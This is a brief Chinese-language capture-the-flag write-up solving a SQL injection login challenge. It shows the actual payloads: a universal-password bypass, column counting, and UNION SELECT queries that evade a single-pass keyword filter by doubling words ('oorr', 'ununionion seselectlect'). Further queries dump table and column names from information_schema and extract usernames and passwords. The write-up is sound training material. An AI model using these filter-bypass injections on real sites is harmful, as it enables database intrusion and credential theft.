打开靶场发现是sql注入题,尝试输入1',通过报错发现是单引号闭合
尝试使用万能密码:
发现是有过滤的,or被吃了,应该是过滤了or,使用双写绕过一下,发现能够成功绕过
输入:1' oorr 1=1#
判断列数:1' oorr true group by 2#
发现可能过滤了true group by,尝试都双写: 1' oorr trtrueue grgroupoup bbyy 2#
报错中没有出现true,by是正确格式,说明只过滤了by
输入:1' oorr true group bbyy 2#能够正常登入,直到第4列的时候报错,说明只有3列
判断显示位:
输入:0' union select 1,2,3#
绕过了union select,尝试双写绕过:1' ununionion seselectlect 1,2,3#
判断出显示位是2和3
经过尝试过滤了:union、select、from、where、or、by,password中的or被过滤了
爆库:1' ununionion seselectlect 1,2,database()#
爆表:1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
爆字段:1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
获取数据:1' ununionion seselectlect 1,2,group_concat(username , passwoorrd) frfromom b4bsql#
成功获取flag